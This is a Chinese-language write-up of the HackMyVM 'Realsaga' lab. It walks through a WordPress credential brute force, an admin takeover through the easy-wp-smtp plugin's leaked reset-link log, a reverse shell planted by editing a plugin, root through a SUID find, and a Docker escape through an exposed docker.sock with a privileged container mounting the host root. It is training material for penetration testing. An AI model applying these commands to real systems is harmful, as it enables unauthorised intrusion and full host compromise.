目录

HackMyVM Realsaga 复盘

# 存活主机扫描

使用 arp-scan 进行存活主机扫描

┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.122   08:00:27:7e:be:6d       (Unknown)
1
2
3
4

目标主机 IP :192.168.6.122

# 端口扫描

使用 nmap 扫描 TCP 全端口

┌──(npc㉿kali)-[~]
└─$ nmap -p- -sT 192.168.6.122    

PORT   STATE SERVICE
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
1
2
3
4
5
6
7

# 80 端口 Web 服务探测

dirsearch 简单扫描下目录,可以确定是 WordPress 网站,并且开启了 XML-RPC 接口

可以利用 wpscan 爆破出一个普通用户 user,普通用户没有 getshell 权限。

┌──(npc㉿kali)-[~/test]
└─$ wpscan --url http://saga.local/
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - userd4ve / changeme                                                                                                                              
Trying userd4ve / changeme Time: 00:00:45 <                                                                         > (3905 / 14348297)  0.02%  ETA: ??:??:??
[!] Valid Combinations Found:
| Username: userd4ve, Password: changeme
1
2
3
4
5
6
7

使用 nuclei 扫描漏洞,扫描出一个 SMTP 插件 easy-wp-smtp 存在高危漏洞,并且发现 wordpress 管理员用户 wpadmin

WordPress easy-wp-smtp plugin 1.4.4之前版本存在安全漏洞,该漏洞源于允许接管管理员帐户,如果攻击者可以列出wp-content/plugins/easy-wp-smtp/目录,则他们可以 发现包含所有密码重置链接的日志文件(例如,############# _ debug_log.txt)。 攻击者可以请求重设管理员密码,然后使用在那里找到的链接。

可以在 wp-content/plugins/easy-wp-smtp/ 目录下找到 60cafc19ba1c5_debug_log.txt 日志文件,那么我们就可以通过 忘记密码 功能来重置管理员密码,在 SMTP 日志中找到重置密码的链接。

日志里可以找到最新的重置密码链接

# 获取 Webshell

使用管理员用户 wpadmin 登录 WordPress 后台,修改插件内容,例如 你好多莉 插件,添加一句反弹 shell 命令,保存并在安装的插件中启用你好多莉插件即可拿到 反弹shell

稳定shell

script /dev/null -c bash
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
1
2
3
4
5
6

通过根目录存在 .dockerenv 文件,可以判断当前 shell 在 Docker 容器中运行。

# 容器 提权到 root

容器存在 suid 的 find 命令,可以拿到 root 权限

www-data@saga:/var/www/html$ find / -perm -4000 -type f 2>/dev/null

/usr/bin/find
1
2
3

提权到容器 root shell

www-data@saga:/var/www/html$ find . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
1
2
3

# docker 逃逸

在容器内发现挂载了 宿主机的 docker.sock 文件,并且容器里存在 docker 客户端,可以通过 docker.sock 文件连接到宿主机的 docker 服务,从而实现逃逸。

# find / -name docker.sock 2>/dev/null
/run/docker.sock:/var/run/docker.sock
# which docker
/usr/bin/docker
1
2
3
4

查看 docker 镜像,使用 -H 参数指定 docker.sock 文件路径

# docker  -H unix:///run/docker.sock images
1

无法利用

在 /run 目录发现另一个 docker sock 文件,可以发现 docker.saga 才是真正的docker sock 文件,并且存在 ubuntu:18.04 镜像

直接 docker 逃逸,跑一个 docker 容器,并且挂载宿主机的根目录到容器内,这样可以直接操作宿主机文件系统

docker -H unix:///run/docker.saga run -it --privileged -v /:/host ubuntu:18.04 chroot /host /bin/bash
1

最后一次更新于: 2025/12/09, 19:47:12